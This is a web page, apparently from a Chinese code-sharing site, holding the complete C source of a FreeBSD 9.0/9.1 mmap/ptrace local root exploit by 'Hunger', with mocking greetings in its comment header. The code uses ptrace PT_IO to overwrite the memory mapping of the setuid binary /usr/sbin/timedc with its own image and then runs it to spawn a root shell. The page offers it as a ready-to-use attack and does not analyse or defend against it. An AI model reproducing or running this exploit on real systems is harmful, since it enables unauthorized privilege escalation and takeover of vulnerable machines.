扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 |
/* * FreeBSD 9.{0,1} mmap/ptrace exploit * by Hunger <fbsd9lul@hunger.hu> * * Happy Birthday FreeBSD! * Now you are 20 years old and your security is the same as 20 years ago... :) * * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof, *sd, sghctoma, snq, spender, s2crew and others at #hekkcamp: *I hope we'll meet again at 8@1470n ;) * * Special thanks to proactivesec.com * */ #include <err.h> #include <errno.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/wait.h> #define SH "/bin/sh" #define TG "/usr/sbin/timedc" int main(int ac, char **av) { int from_fd, to_fd, status; struct stat st; struct ptrace_io_desc piod; char *s, *d; pid_t pid; if (geteuid() == 0){ setuid(0); execl(SH, SH, NULL); return 0; } printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n"); printf("by Hunger <fbsd9lul@hunger.hu>\n"); if ((from_fd = open(av[0], O_RDONLY)) == -1 || (to_fd = open(TG, O_RDONLY)) == -1) err(1, "open"); if (stat(av[0], &st) == -1) err(2, "stat"); if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) || (d = mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED) err(3, "mmap"); if ((pid = fork()) == -1) err(4, "fork"); if (!pid) { if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1) err(5, "ptraceme"); return 0; } if (ptrace(PT_ATTACH, pid, NULL, 0) == -1) err(6, "ptattach"); if (wait(&status) == -1) err(7, "wait"); piod.piod_op = PIOD_WRITE_D; piod.piod_offs = d; piod.piod_addr = s; piod.piod_len= st.st_size; if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1) err(8, "ptio"); execl(TG, TG, NULL); return 0; } |
体验盒子
